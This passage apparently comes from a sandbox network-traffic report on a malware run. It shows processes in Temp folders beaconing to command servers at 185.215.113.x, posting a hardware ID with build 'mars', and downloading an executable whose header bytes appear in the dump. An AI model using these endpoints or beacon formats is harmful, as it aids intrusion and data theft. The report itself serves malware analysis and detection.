0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 80 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 c0 2b 00 00 04 00 00 f2 e4 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$+ `@ ++`Ui` @ @.rsrc`2@.idata 8@ogtxsohc*:@iyarjevt `+@.taggant@+"*@
Nov 19, 2024 01:03:03.881679058 CET	112	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 19, 2024 01:03:03.881856918 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 19, 2024 01:03:03.881870031 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 19, 2024 01:03:03.881897926 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 19, 2024 01:03:03.881927013 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 19, 2024 01:03:03.881947994 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 19, 2024 01:03:03.881968021 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 19, 2024 01:03:03.881997108 CET	1236	IN	Data Raw: f8 e4 f0 fe c5 08 fd 0b d1 d5 e6 e2 7e bc bb 98 27 d3 5c 74 34 c7 f4 d4 90 aa 03 f8 d9 58 df c8 58 a4 16 06 e7 d4 17 23 12 f3 f9 3e 31 ea ff 90 3b a8 c5 f5 ea 3d 87 0d f6 29 98 a1 da ac 1f 07 ef b6 01 6b 02 f1 22 09 d5 b1 26 b8 75 4a e3 3c 92 cf Data Ascii: ~'\t4XX#>1;=)k"&uJ<-pbRBRyRUL_8x)aEw`Lr&txB$]f%WLRoWo9 LEC),IiKab9?Q9EI@
Nov 19, 2024 01:03:03.882016897 CET	984	IN	Data Raw: e9 0e eb c8 d1 8a 37 61 b5 3c eb d0 21 df b9 1b ba 17 be 3d bf 8b be f0 58 dc 15 f5 da 29 c6 fa 95 33 ce 2a 09 cb d5 0b ad 2c 04 fb fa cf 7c 7b 01 b3 a0 6f 58 df ea 13 ef 51 76 27 34 5a eb 23 d1 66 26 2c 31 e2 0f 3c 77 bf 85 12 92 b4 30 4b df 02 Data Ascii: 7a<!=X)3,\|{oXQv'4Z#f&,1<w0K/B83h@7`iXt\|2b'p3<?Kbg?u\ HM{VQ;'Gl&_%!0XB
Nov 19, 2024 01:03:03.887882948 CET	1236	IN	Data Raw: b5 1e 0f 33 21 20 25 f2 d6 c1 61 21 d7 f7 4d 6e 3d 52 f1 4e 23 02 1f 05 26 bb 2e ff 41 19 a5 ed 53 32 11 e2 51 c1 22 66 2f 2e 51 15 d3 e8 da 27 eb ad b7 6e f2 2a 1f 66 3d 7b 74 78 cb 84 b4 6d 13 df f8 3f b8 89 74 07 5b b1 5f 9f 17 ff f1 10 49 eb Data Ascii: 3! %a!Mn=RN#&.AS2Q"f/.Q'nf={txm?t[_I4u3WMuG0d42 #Jc8L>O}8AM4;i'%1ZFW=/l0$r61UKs]_]BRiMFD<_d/xK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.6	50153	185.215.113.43	80	5752	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 01:03:07.888134956 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 37 32 37 37 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1007277001&unit=246122658369
Nov 19, 2024 01:03:08.763638973 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 00:03:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.6	50159	185.215.113.43	80	5752	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 01:03:10.700649023 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 19, 2024 01:03:11.588582039 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 00:03:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.6	50162	185.215.113.43	80	5752	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 01:03:13.169239998 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 30 32 46 37 39 42 37 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB02F79B75182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 19, 2024 01:03:14.066154003 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 00:03:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.6	50172	185.215.113.43	80	5752	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 01:03:15.858968019 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 19, 2024 01:03:16.776144028 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 00:03:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.6	50173	185.215.113.206	80	5388	C:\Users\user\AppData\Local\Temp\1007275001\35e66d06ff.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 01:03:16.033552885 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 19, 2024 01:03:16.920768023 CET	203	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 00:03:16 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 19, 2024 01:03:17.007707119 CET	412	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DAECGCGHCGHCAKECBKJK Host: 185.215.113.206 Content-Length: 210 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 41 45 43 47 43 47 48 43 47 48 43 41 4b 45 43 42 4b 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 31 31 35 33 36 44 45 36 42 35 39 31 39 32 32 30 36 33 34 39 37 0d 0a 2d 2d 2d 2d 2d 2d 44 41 45 43 47 43 47 48 43 47 48 43 41 4b 45 43 42 4b 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 44 41 45 43 47 43 47 48 43 47 48 43 41 4b 45 43 42 4b 4a 4b 2d 2d 0d 0a Data Ascii: ------DAECGCGHCGHCAKECBKJKContent-Disposition: form-data; name="hwid"11536DE6B591922063497------DAECGCGHCGHCAKECBKJKContent-Disposition: form-data; name="build"mars------DAECGCGHCGHCAKECBKJK--
Nov 19, 2024 01:03:17.601593018 CET	210	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 00:03:17 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.6	50174	34.107.221.82	80	6704	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 01:03:16.348110914 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 19, 2024 01:03:16.943584919 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Mon, 18 Nov 2024 06:22:15 GMT Age: 63661 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 19, 2024 01:03:17.317745924 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Mon, 18 Nov 2024 06:22:15 GMT Age: 63661 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 19, 2024 01:03:27.089924097 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 19, 2024 01:03:30.698757887 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 19, 2024 01:03:30.824645042 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Mon, 18 Nov 2024 06:22:15 GMT Age: 63675 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.6	50177	34.107.221.82	80	6704	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 01:03:17.342400074 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 19, 2024 01:03:17.951921940 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Mon, 18 Nov 2024 06:38:58 GMT Age: 62659 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 19, 2024 01:03:18.162319899 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Mon, 18 Nov 2024 06:38:58 GMT Age: 62659 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 19, 2024 01:03:28.094939947 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 19, 2024 01:03:31.198848963 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 19, 2024 01:03:31.330015898 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Mon, 18 Nov 2024 06:38:58 GMT Age: 62673 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.6	50179	185.215.113.43	80	5752	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 01:03:18.464966059 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 30 32 46 37 39 42 37 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB02F79B75182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 19, 2024 01:03:19.369677067 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 00:03:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.6	50196	185.215.113.16	80	8148	C:\Users\user\AppData\Local\Temp\1007274001\7250ce8e20.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 01:03:20.784029961 CET	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Nov 19, 2024 01:03:21.699104071 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 00:03:21 GMT Content-Type: application/octet-stream Content-Length: 2819584 Last-Modified: Mon, 18 Nov 2024 23:54:15 GMT Connection: keep-alive ETag: "673bd3a7-2b0600" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 80 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 c0 2b 00 00 04 00 00 f2 e4 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$+ `@ ++`Ui` @ @.rsrc`2@.idata 8@ogtxsohc*:@iyarjevt `+@.taggant@+"*@
Nov 19, 2024 01:03:21.699167013 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 19, 2024 01:03:21.699183941 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 19, 2024 01:03:21.699208975 CET	336	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 19, 2024 01:03:21.699351072 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 19, 2024 01:03:21.699374914 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 19, 2024 01:03:21.699394941 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 19, 2024 01:03:21.699417114 CET	336	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 19, 2024 01:03:21.699436903 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 19, 2024 01:03:21.699805975 CET	1236	IN	Data Raw: e8 50 ea f7 20 ad c9 7d de cb 5f f5 d0 be 02 cd 15 ad c6 5d 7e da 38 7d de cb 5f 67 cf c2 02 7d 11 ad ec fb ee 7e 83 05 c0 02 e4 94 b1 d3 64 1b d0 c6 4d 7e 6e ad 7c 05 bc 9c e6 4d 76 bf 99 4a d9 68 e0 fc 30 d7 60 d5 f0 e4 ea d2 0f c8 83 81 3f aa Data Ascii: P }_]~8}_g}~dM~n\|MvJh0`?!"mY+2z%6/O;\@%- ?vg"1i`S7\ctV%*0^U^S1Kvv,s#Xe
Nov 19, 2024 01:03:21.704372883 CET	1236	IN	Data Raw: a7 c0 cc 18 cc d2 2d 06 68 f2 ed 2e 47 f3 67 d9 77 fc 17 0f 60 6c 12 49 26 fb ee ed e8 8a 1f 9f d7 a0 d4 8d dc 18 2a a7 e0 2e b0 2d fa 1f 07 50 6f 4c 21 c4 16 4f 08 4e 2f ab 75 36 e9 f4 75 b3 2d a3 db 43 e9 37 16 8a 8d ee f7 ca 06 2e 21 fc 1c a3 Data Ascii: -h.Ggw`lI&*.-PoL!ON/u6u-C7.!5,22fa\B9Se+XcjSn0HK[^(_Va3;W%4OAV(eBQ\<"P16VjN]DO2a?LgAE_e@@5`KF6-7]6#.j@U

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.6	50197	185.215.113.43	80	5752	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 01:03:21.106358051 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 19, 2024 01:03:22.026906013 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 00:03:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.6	50211	185.215.113.43	80	5752	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 19, 2024 01:03:23.584098101 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 30 32 46 37 39 42 37 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB02F79B75182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 19, 2024 01:03:24.488907099 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 19 Nov 2024 00:03:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
